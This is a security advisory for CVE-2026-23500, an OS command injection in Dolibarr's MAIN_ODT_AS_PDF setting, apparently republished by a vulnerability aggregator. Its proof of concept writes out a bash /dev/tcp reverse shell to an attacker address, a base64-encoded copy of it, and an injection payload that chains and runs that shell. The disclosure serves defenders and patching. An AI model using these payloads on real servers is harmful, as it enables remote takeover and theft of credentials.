| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| Exploit for CVE-2026-23500 | 11 Apr 202619:37 | – | githubexploit | |
| CVE-2026-23500 | 17 Apr 202620:25 | – | attackerkb | |
| CVE-2026-23500 | 11 Apr 202620:00 | – | circl | |
| Dolibarr 安全漏洞 | 17 Apr 202600:00 | – | cnnvd | |
| CVE-2026-23500 | 17 Apr 202620:25 | – | cve | |
| CVE-2026-23500 Dolibarr: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration | 17 Apr 202620:25 | – | cvelist | |
| EUVD-2026-23502 | 17 Apr 202621:24 | – | euvd | |
| Dolibarr: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration | 17 Apr 202621:24 | – | github | |
| CVE-2026-23500 | 17 Apr 202621:16 | – | nvd | |
| GHSA-W5J3-8FCR-H87W Dolibarr: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration | 17 Apr 202621:24 | – | osv |
# CVE-2026-23500: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration in Dolibarr
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2026-23500](https://nvd.nist.gov/vuln/detail/CVE-2026-23500) |
| **Severity** | CRITICAL |
| **Advisory** | [GHSA-w5j3-8fcr-h87w](https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## Affected Products
- **Dolibarr/dolibarr** (versions: <= 22.0.4)
- **Patched in:** 23.0
## CWE Classification
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
## Details
### Summary
An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the `MAIN_ODT_AS_PDF` configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process.
### Details
The vulnerability is located in `htdocs/includes/odtphp/odf.php`.
When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting.
Code snippet (`htdocs/includes/odtphp/odf.php`, approx line 930):
```php
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
```
While the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands.
### PoC
**Prerequisites:**
1. Login as an Administrator.
2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup.
**Steps to reproduce (Reverse Shell):**
1. Start a netcat listener on the attacker's machine (IP: `172.26.0.1`, Port: `4445`):
```bash
nc -lvnp 4445
```
2. Prepare the payload. To avoid issues with special characters (like `&` or `>`) being escaped by the web application or shell, encode the reverse shell command in Base64:
```bash
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
```
3. Navigate to **Home -> Setup -> Other Setup**.
4. Add or modify the constant `MAIN_ODT_AS_PDF` with the following injection payload:
```bash
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
```
*(Explanation: `jodconverter` satisfies the initial check, `;` acts as a command separator, and the pipeline decodes and executes the Base64 payload).*
<img width="1898" height="696" alt="image" src="https://github.com/user-attachments/assets/12e4aa61-eb9d-4342-bd03-9a1e824b8316" />
5. Navigate to **Commerce -> New proposal**, create a draft, select an ODT template (e.g., `generic_proposal_odt`), and click **Generate**.
<img width="1907" height="668" alt="image" src="https://github.com/user-attachments/assets/d790847e-50c1-47eb-994b-b2596b949242" />
<img width="1858" height="346" alt="image" src="https://github.com/user-attachments/assets/afbeb170-d004-49d6-a395-1b4572fbf2e7" />
<img width="848" height="183" alt="image" src="https://github.com/user-attachments/assets/93fbe6c9-96a8-4d0f-ad0e-4aea69f0fec1" />
6. Check the netcat listener. A connection will be established, granting a shell on the server:
<img width="616" height="193" alt="image" src="https://github.com/user-attachments/assets/e90817da-9bb2-4fe1-8377-be10d8640e37" />
### Impact
**Remote Code Execution (RCE).**
An attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically `www-data`). This allows for:
- Reading sensitive configuration files (database credentials).
- Modifying application code.
- Full system compromise depending on server configuration (e.g., docker escape, pivoting).
---
### Credits
Reported by Łukasz Rybak
## References
- https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w
- https://nvd.nist.gov/vuln/detail/CVE-2026-23500
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation